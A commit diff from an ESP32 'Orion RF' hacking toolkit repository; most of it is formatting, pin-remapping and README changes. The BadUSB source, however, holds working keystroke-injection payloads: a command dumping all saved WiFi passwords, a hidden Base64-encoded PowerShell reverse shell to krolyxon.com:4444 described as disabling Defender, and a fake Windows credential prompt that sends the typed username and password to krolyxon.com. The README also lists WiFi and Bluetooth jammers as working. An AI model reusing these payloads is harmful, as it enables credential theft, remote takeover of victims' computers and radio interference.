Compare commits
2 Commits
0b8b30d25d
...
206ed22919
| Author | SHA1 | Date |
|---|---|---|
|
|
206ed22919 | |
|
|
3672abc8b4 |
|
|
@ -27,8 +27,11 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
|
|||
|
||||
## Hardware
|
||||
- ESP32-S3 N16R8
|
||||
- 2x NRF24L01
|
||||
- 2x CC1101
|
||||
- 2x NRF24L01 Module
|
||||
- 2x CC1101 Module
|
||||
- PN532 NFC Module
|
||||
- MicroSD card Module
|
||||
- TP4056 Charging Module
|
||||
- OLED display
|
||||
- Battery-powered portable setup
|
||||
|
||||
|
|
@ -43,7 +46,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
|
|||
| BLE Mouse | Working |
|
||||
| BLE Jammer | Working |
|
||||
| Bluetooth Jammer | Working |
|
||||
| WiFi Jammer | Experimental |
|
||||
| WiFi Jammer | Working |
|
||||
| RF Capture | WIP |
|
||||
| RF Replay | WIP |
|
||||
| SD Card Support | Planned |
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
#include "../config.h"
|
||||
#include "../hid/badusb.h"
|
||||
#include <Arduino.h>
|
||||
#include <BleMouse.h>
|
||||
#include "../hid/badusb.h"
|
||||
#include "../config.h"
|
||||
|
||||
#include "../utils/buttons.h"
|
||||
#include "ui/display.h"
|
||||
|
|
@ -11,8 +11,7 @@
|
|||
extern BleMouse bleMouse;
|
||||
|
||||
// ===== MAIN =====
|
||||
void ble_mouse_run()
|
||||
{
|
||||
void ble_mouse_run() {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
u8g2.drawStr(10, 25, "BLE Mouse");
|
||||
|
|
@ -21,22 +20,25 @@ void ble_mouse_run()
|
|||
|
||||
delay(800);
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (1) {
|
||||
// 🔥 EXIT FIRST (clean)
|
||||
if (btnBack()) break;
|
||||
if (btnBack())
|
||||
break;
|
||||
|
||||
bool connected = bleMouse.isConnected();
|
||||
|
||||
int dx = 0;
|
||||
int dy = 0;
|
||||
|
||||
if (connected)
|
||||
{
|
||||
if (!digitalRead(BTN_UP)) dy = -6;
|
||||
if (!digitalRead(BTN_DOWN)) dy = 6;
|
||||
if (!digitalRead(BTN_LEFT)) dx = -6;
|
||||
if (!digitalRead(BTN_RIGHT)) dx = 6;
|
||||
if (connected) {
|
||||
if (!digitalRead(BTN_UP))
|
||||
dy = -6;
|
||||
if (!digitalRead(BTN_DOWN))
|
||||
dy = 6;
|
||||
if (!digitalRead(BTN_LEFT))
|
||||
dx = -6;
|
||||
if (!digitalRead(BTN_RIGHT))
|
||||
dx = 6;
|
||||
|
||||
if (dx || dy)
|
||||
bleMouse.move(dx, dy);
|
||||
|
|
@ -69,6 +71,3 @@ void ble_mouse_run()
|
|||
delay(10); // important for BLE stability
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -1,12 +1,12 @@
|
|||
#include <Arduino.h>
|
||||
#include <BLEAdvertisedDevice.h>
|
||||
#include <BLEDevice.h>
|
||||
#include <BLEScan.h>
|
||||
#include <BLEAdvertisedDevice.h>
|
||||
#include <vector>
|
||||
|
||||
#include "ui/display.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include "../config.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include "ui/display.h"
|
||||
|
||||
// ===== DEVICE STRUCT =====
|
||||
struct BLEDeviceInfo {
|
||||
|
|
@ -46,9 +46,7 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
|||
|
||||
if (mData.length() >= 2) {
|
||||
char buffer[10];
|
||||
sprintf(buffer, "0x%02X%02X",
|
||||
(uint8_t)mData[1],
|
||||
(uint8_t)mData[0]);
|
||||
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
|
||||
dev.manufacturer = String(buffer);
|
||||
} else {
|
||||
dev.manufacturer = "unknown";
|
||||
|
|
@ -58,8 +56,7 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
|||
}
|
||||
|
||||
if (advertisedDevice.haveServiceUUID()) {
|
||||
dev.deviceType =
|
||||
advertisedDevice.getServiceUUID().toString().c_str();
|
||||
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
|
||||
} else {
|
||||
dev.deviceType = "unknown";
|
||||
}
|
||||
|
|
@ -69,18 +66,14 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
|||
};
|
||||
|
||||
// ===== DRAW MENU =====
|
||||
void ble_drawMenu()
|
||||
{
|
||||
void ble_drawMenu() {
|
||||
u8g2.clearBuffer();
|
||||
|
||||
if (devices.empty())
|
||||
{
|
||||
if (devices.empty()) {
|
||||
u8g2.setFont(u8g2_font_6x12_tr);
|
||||
u8g2.drawStr(0, 30, "No devices");
|
||||
u8g2.drawStr(0, 45, "Press BACK");
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
u8g2.setFont(u8g2_font_5x8_tr);
|
||||
|
||||
char counter[20];
|
||||
|
|
@ -89,15 +82,14 @@ void ble_drawMenu()
|
|||
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
|
||||
for (int i = 0; i < 3; i++)
|
||||
{
|
||||
for (int i = 0; i < 3; i++) {
|
||||
int idx = selectedIndex + i;
|
||||
if (idx >= devices.size()) break;
|
||||
if (idx >= devices.size())
|
||||
break;
|
||||
|
||||
int y = 22 + i * 14;
|
||||
|
||||
if (i == 0)
|
||||
{
|
||||
if (i == 0) {
|
||||
u8g2.drawBox(0, y - 10, 128, 12);
|
||||
u8g2.setDrawColor(0);
|
||||
}
|
||||
|
|
@ -119,8 +111,7 @@ void ble_drawMenu()
|
|||
}
|
||||
|
||||
// ===== DEVICE DETAILS =====
|
||||
void ble_drawDetails(const BLEDeviceInfo &dev)
|
||||
{
|
||||
void ble_drawDetails(const BLEDeviceInfo &dev) {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_5x8_tr);
|
||||
|
||||
|
|
@ -137,8 +128,7 @@ void ble_drawDetails(const BLEDeviceInfo &dev)
|
|||
}
|
||||
|
||||
// ===== SCAN =====
|
||||
void ble_scan()
|
||||
{
|
||||
void ble_scan() {
|
||||
devices.clear();
|
||||
|
||||
u8g2.clearBuffer();
|
||||
|
|
@ -148,7 +138,8 @@ void ble_scan()
|
|||
BLEDevice::init("");
|
||||
|
||||
pBLEScan = BLEDevice::getScan();
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
|
||||
false);
|
||||
pBLEScan->setActiveScan(true);
|
||||
pBLEScan->setInterval(100);
|
||||
pBLEScan->setWindow(99);
|
||||
|
|
@ -157,52 +148,42 @@ void ble_scan()
|
|||
|
||||
// remove duplicates
|
||||
std::vector<BLEDeviceInfo> unique;
|
||||
for (auto &d : devices)
|
||||
{
|
||||
for (auto &d : devices) {
|
||||
bool exists = false;
|
||||
for (auto &u : unique)
|
||||
{
|
||||
if (u.address == d.address)
|
||||
{
|
||||
for (auto &u : unique) {
|
||||
if (u.address == d.address) {
|
||||
exists = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!exists) unique.push_back(d);
|
||||
if (!exists)
|
||||
unique.push_back(d);
|
||||
}
|
||||
|
||||
devices = unique;
|
||||
}
|
||||
|
||||
// ===== MAIN LOOP =====
|
||||
void ble_loop()
|
||||
{
|
||||
void ble_loop() {
|
||||
static uint32_t lastPress = 0;
|
||||
|
||||
if (millis() - lastPress < 200)
|
||||
return;
|
||||
|
||||
if (btnDown() && selectedIndex < (int)devices.size() - 1)
|
||||
{
|
||||
if (btnDown() && selectedIndex < (int)devices.size() - 1) {
|
||||
selectedIndex++;
|
||||
ble_drawMenu();
|
||||
lastPress = millis();
|
||||
}
|
||||
else if (btnUp() && selectedIndex > 0)
|
||||
{
|
||||
} else if (btnUp() && selectedIndex > 0) {
|
||||
selectedIndex--;
|
||||
ble_drawMenu();
|
||||
lastPress = millis();
|
||||
}
|
||||
else if (btnSelect() && !devices.empty())
|
||||
{
|
||||
} else if (btnSelect() && !devices.empty()) {
|
||||
ble_drawDetails(devices[selectedIndex]);
|
||||
delay(3000);
|
||||
ble_drawMenu();
|
||||
lastPress = millis();
|
||||
}
|
||||
else if (btnBack())
|
||||
{
|
||||
} else if (btnBack()) {
|
||||
lastPress = millis();
|
||||
return;
|
||||
}
|
||||
|
|
|
|||
22
src/config.h
22
src/config.h
|
|
@ -18,24 +18,19 @@
|
|||
/////////////////cc1101 vars//////////////
|
||||
// CC1101 via FSPI
|
||||
#define cc1101_SCK 15
|
||||
#define cc1101_MISO 3
|
||||
#define cc1101_MISO 41
|
||||
#define cc1101_MOSI 35
|
||||
|
||||
//////////////cc1101(1)//////////
|
||||
#define CC1101_CS 45
|
||||
#define CC1101_GDO0 21
|
||||
#define CC1101_GDO2 47
|
||||
|
||||
/////////////cc1101(2)//////////
|
||||
#define CC1101_2_CS 40
|
||||
#define CC1101_2_GDO0 41
|
||||
#define CC1101_2_GDO2 42
|
||||
#define CC1101_CS 40
|
||||
#define CC1101_GDO0 39
|
||||
#define CC1101_GDO2 42
|
||||
|
||||
// SD Card via HSPI
|
||||
#define SD_SCK 14
|
||||
#define SD_MISO 39
|
||||
#define SD_MOSI 38
|
||||
#define SD_CS 37
|
||||
//#define SD_SCK 14
|
||||
//#define SD_MISO 39
|
||||
//#define SD_MOSI 38
|
||||
//#define SD_CS 37
|
||||
|
||||
|
||||
// =================== Buttons ====================
|
||||
|
|
@ -45,4 +40,3 @@
|
|||
#define BTN_BACK 7
|
||||
#define BTN_LEFT 1
|
||||
#define BTN_RIGHT 2
|
||||
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
#include "../ui/display.h"
|
||||
#include <Arduino.h>
|
||||
#include <USBHIDKeyboard.h>
|
||||
#include "../ui/display.h"
|
||||
|
||||
extern USBHIDKeyboard Keyboard;
|
||||
|
||||
|
|
@ -56,10 +56,8 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
|
|||
}
|
||||
}
|
||||
|
||||
void typeSlow(const char *text, int delayMs = 25)
|
||||
{
|
||||
while (*text)
|
||||
{
|
||||
void typeSlow(const char *text, int delayMs = 25) {
|
||||
while (*text) {
|
||||
Keyboard.print(*text);
|
||||
delay(delayMs);
|
||||
text++;
|
||||
|
|
@ -84,9 +82,7 @@ void badUSBMenu(int index) {
|
|||
// break;
|
||||
// }
|
||||
|
||||
|
||||
switch(index)
|
||||
{
|
||||
switch (index) {
|
||||
// ================= ORION DEMO =================
|
||||
case 0:
|
||||
showRunningScreen("ORION Demo");
|
||||
|
|
@ -216,9 +212,13 @@ void badUSBMenu(int index) {
|
|||
delay(500);
|
||||
|
||||
// The "Magic" Command:
|
||||
// This lists all profiles and shows the 'Key Content' (the password) in clear text.
|
||||
// We use a 'for' loop to automate this for every network the PC has ever joined.
|
||||
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
|
||||
// This lists all profiles and shows the 'Key Content' (the password) in
|
||||
// clear text. We use a 'for' loop to automate this for every network the PC
|
||||
// has ever joined.
|
||||
typeSlow(
|
||||
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
|
||||
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
|
||||
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
|
||||
|
||||
Keyboard.write(KEY_RETURN);
|
||||
|
||||
|
|
@ -256,8 +256,7 @@ void badUSBMenu(int index) {
|
|||
|
||||
delay(700);
|
||||
|
||||
for(int i = 0; i < 20; i++)
|
||||
{
|
||||
for (int i = 0; i < 20; i++) {
|
||||
typeSlow("color 4F");
|
||||
Keyboard.write(KEY_RETURN);
|
||||
|
||||
|
|
@ -278,8 +277,7 @@ void badUSBMenu(int index) {
|
|||
|
||||
delay(2000);
|
||||
|
||||
for(int i = 0; i < 15; i++)
|
||||
{
|
||||
for (int i = 0; i < 15; i++) {
|
||||
typeSlow("######### ORION-RF #########");
|
||||
Keyboard.write(KEY_RETURN);
|
||||
|
||||
|
|
@ -334,19 +332,43 @@ void badUSBMenu(int index) {
|
|||
// The Base64 string below contains:
|
||||
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
|
||||
|
||||
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
|
||||
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
|
||||
"-EncodedCommand ");
|
||||
|
||||
// This is the encoded payload for krolyxon.com:4444
|
||||
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
|
||||
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
|
||||
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
|
||||
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
|
||||
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
|
||||
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
|
||||
"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
|
||||
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
|
||||
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
|
||||
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
|
||||
typeSlow(
|
||||
"JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
|
||||
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
|
||||
"AHIAaQBuAGcAKAAiAEgA"
|
||||
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
|
||||
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
|
||||
"AbwBsAHkAeABvAG4A"
|
||||
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
|
||||
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
|
||||
"AHQAZQBzACAAPQA"
|
||||
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
|
||||
"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
|
||||
"AeQB0AGUAcwAuAEw"
|
||||
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
|
||||
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
|
||||
"uAFQAZQB4AHQAL"
|
||||
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
|
||||
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
|
||||
"GkAZQB4ACAAJAB"
|
||||
"kAGEAdABhACAAMgA+"
|
||||
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
|
||||
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
|
||||
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
|
||||
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
|
||||
"CkALgBHAGUAd"
|
||||
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
|
||||
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
|
||||
"HQAZQAuAEwAZQB"
|
||||
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
|
||||
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
|
||||
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
|
||||
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
|
||||
"AcgBhAHkAKAApACkAKQA=");
|
||||
|
||||
Keyboard.write(KEY_RETURN);
|
||||
break;
|
||||
|
|
@ -355,17 +377,31 @@ void badUSBMenu(int index) {
|
|||
showRunningScreen("Vault Crack");
|
||||
|
||||
// Open hidden PowerShell
|
||||
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
||||
runCommand(
|
||||
"powershell -nop -W Hidden -c \"$cred = "
|
||||
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
|
||||
"to update your system credentials.','',''); $p = "
|
||||
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
|
||||
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
||||
|
||||
break;
|
||||
// ================= DESKTOP GHOST =================
|
||||
case 12:
|
||||
showRunningScreen("Ghost Mode");
|
||||
|
||||
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
||||
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
|
||||
"System.Windows.Forms; "
|
||||
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
|
||||
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
|
||||
"-Format Image).Save($path); Set-ItemProperty -Path "
|
||||
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
|
||||
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
||||
|
||||
// Hide Desktop Icons (requires a registry tweak)
|
||||
typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
|
||||
typeSlow("reg add "
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
|
||||
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
|
||||
"explorer.exe && start explorer.exe");
|
||||
Keyboard.write(KEY_RETURN);
|
||||
|
||||
break;
|
||||
|
|
@ -383,5 +419,3 @@ void badUSBMenu(int index) {
|
|||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
|
|
|||
39
src/main.cpp
39
src/main.cpp
|
|
@ -2,9 +2,9 @@
|
|||
#include <USB.h>
|
||||
#include <USBHIDKeyboard.h>
|
||||
|
||||
#include "libs/BleMouse.h"
|
||||
#include <BLEDevice.h>
|
||||
#include <BLEScan.h>
|
||||
#include "libs/BleMouse.h"
|
||||
|
||||
#include <RF24.h>
|
||||
#include <nRF24L01.h>
|
||||
|
|
@ -14,15 +14,14 @@
|
|||
#include <WiFi.h>
|
||||
#include <esp_wifi.h>
|
||||
|
||||
#include <SPI.h>
|
||||
#include <esp_chip_info.h>
|
||||
#include <esp_heap_caps.h>
|
||||
#include <esp_system.h>
|
||||
#include <SPI.h>
|
||||
|
||||
|
||||
#include "ui/display.h"
|
||||
#include "utils/buttons.h"
|
||||
#include "ui/menu.h"
|
||||
#include "utils/buttons.h"
|
||||
|
||||
#include "config.h"
|
||||
#include "rf/cc1101.h"
|
||||
|
|
@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard;
|
|||
// ===== BLE MOUSE =====
|
||||
BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
|
||||
|
||||
|
||||
RF24 radio1(CE1_PIN, CSN1_PIN);
|
||||
RF24 radio2(CE2_PIN, CSN2_PIN);
|
||||
SPIClass *RADIO_SPI;
|
||||
|
||||
|
||||
void deactivateNRF1() {
|
||||
digitalWrite(CSN1_PIN, HIGH);
|
||||
digitalWrite(CE1_PIN, LOW);
|
||||
|
|
@ -49,29 +46,22 @@ void deactivateNRF2() {
|
|||
digitalWrite(CE2_PIN, LOW);
|
||||
}
|
||||
|
||||
|
||||
// ================= SYSTEM INFO =================
|
||||
void printSystemUsage()
|
||||
{
|
||||
void printSystemUsage() {
|
||||
esp_chip_info_t chip_info;
|
||||
|
||||
esp_chip_info(&chip_info);
|
||||
|
||||
Serial.printf("CPU cores: %d\n", chip_info.cores);
|
||||
|
||||
Serial.printf(
|
||||
"Free heap: %d bytes\n",
|
||||
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
|
||||
);
|
||||
Serial.printf("Free heap: %d bytes\n",
|
||||
heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
|
||||
|
||||
Serial.printf(
|
||||
"PSRAM free: %d bytes\n",
|
||||
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
|
||||
);
|
||||
Serial.printf("PSRAM free: %d bytes\n",
|
||||
heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
|
||||
}
|
||||
|
||||
void showSplash()
|
||||
{
|
||||
void showSplash() {
|
||||
u8g2.clearBuffer();
|
||||
|
||||
u8g2.setFont(u8g2_font_logisoso20_tr); // big font
|
||||
|
|
@ -85,10 +75,8 @@ void showSplash()
|
|||
delay(1500); // 1.5 sec
|
||||
}
|
||||
|
||||
|
||||
// ================= SETUP =================
|
||||
void setup()
|
||||
{
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
|
||||
displayInit();
|
||||
|
|
@ -102,8 +90,6 @@ void setup()
|
|||
USB.begin();
|
||||
Keyboard.begin();
|
||||
|
||||
|
||||
|
||||
// NRF SPI safety
|
||||
// pinMode(CSN1_PIN, OUTPUT);
|
||||
// digitalWrite(CSN1_PIN, HIGH);
|
||||
|
|
@ -136,7 +122,4 @@ void setup()
|
|||
}
|
||||
|
||||
// ================= LOOP =================
|
||||
void loop()
|
||||
{
|
||||
menuLoop();
|
||||
}
|
||||
void loop() { menuLoop(); }
|
||||
|
|
|
|||
|
|
@ -1,12 +1,12 @@
|
|||
#include "nfc.h"
|
||||
|
||||
#include <Adafruit_PN532.h>
|
||||
#include <Arduino.h>
|
||||
#include <Wire.h>
|
||||
#include <Adafruit_PN532.h>
|
||||
|
||||
#include "ui/display.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include "../config.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include "ui/display.h"
|
||||
|
||||
#define PN532_IRQ -1
|
||||
#define PN532_RESET -1
|
||||
|
|
@ -14,8 +14,7 @@
|
|||
// Adafruit_PN532 nfc(Wire);
|
||||
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
|
||||
|
||||
void drawWaiting()
|
||||
{
|
||||
void drawWaiting() {
|
||||
u8g2.clearBuffer();
|
||||
|
||||
u8g2.drawStr(10, 20, "PN532 Ready");
|
||||
|
|
@ -24,14 +23,12 @@ void drawWaiting()
|
|||
u8g2.sendBuffer();
|
||||
}
|
||||
|
||||
void showUID(uint8_t *uid, uint8_t uidLength)
|
||||
{
|
||||
void showUID(uint8_t *uid, uint8_t uidLength) {
|
||||
char line[64];
|
||||
|
||||
String uidStr = "";
|
||||
|
||||
for (int i = 0; i < uidLength; i++)
|
||||
{
|
||||
for (int i = 0; i < uidLength; i++) {
|
||||
if (uid[i] < 0x10)
|
||||
uidStr += "0";
|
||||
|
||||
|
|
@ -54,16 +51,14 @@ void showUID(uint8_t *uid, uint8_t uidLength)
|
|||
u8g2.sendBuffer();
|
||||
}
|
||||
|
||||
void pn532_init()
|
||||
{
|
||||
void pn532_init() {
|
||||
delay(100);
|
||||
nfc.begin();
|
||||
delay(100);
|
||||
|
||||
uint32_t versiondata = nfc.getFirmwareVersion();
|
||||
|
||||
if (!versiondata)
|
||||
{
|
||||
if (!versiondata) {
|
||||
Serial.println("PN532 not found");
|
||||
|
||||
u8g2.clearBuffer();
|
||||
|
|
@ -79,28 +74,21 @@ void pn532_init()
|
|||
nfc.SAMConfig();
|
||||
}
|
||||
|
||||
void pn532_scan_loop()
|
||||
{
|
||||
void pn532_scan_loop() {
|
||||
pn532_init();
|
||||
|
||||
drawWaiting();
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (1) {
|
||||
uint8_t success;
|
||||
uint8_t uid[7];
|
||||
uint8_t uidLength;
|
||||
|
||||
Serial.println("Scanning...");
|
||||
success = nfc.readPassiveTargetID(
|
||||
PN532_MIFARE_ISO14443A,
|
||||
uid,
|
||||
&uidLength,
|
||||
50
|
||||
);
|
||||
success =
|
||||
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
|
||||
|
||||
if (success)
|
||||
{
|
||||
if (success) {
|
||||
Serial.println("Card detected");
|
||||
|
||||
showUID(uid, uidLength);
|
||||
|
|
@ -108,8 +96,7 @@ void pn532_scan_loop()
|
|||
delay(1000);
|
||||
}
|
||||
|
||||
if (btnBack())
|
||||
{
|
||||
if (btnBack()) {
|
||||
delay(150);
|
||||
break;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,10 +1,10 @@
|
|||
#include <Arduino.h>
|
||||
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
|
||||
#include "cc1101.h"
|
||||
#include "../config.h"
|
||||
#include "SPI.h"
|
||||
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
|
||||
#include "../ui/display.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include "SPI.h"
|
||||
#include <Arduino.h>
|
||||
|
||||
// ===== CONFIG =====
|
||||
#define RAW_BUF_MAX 512
|
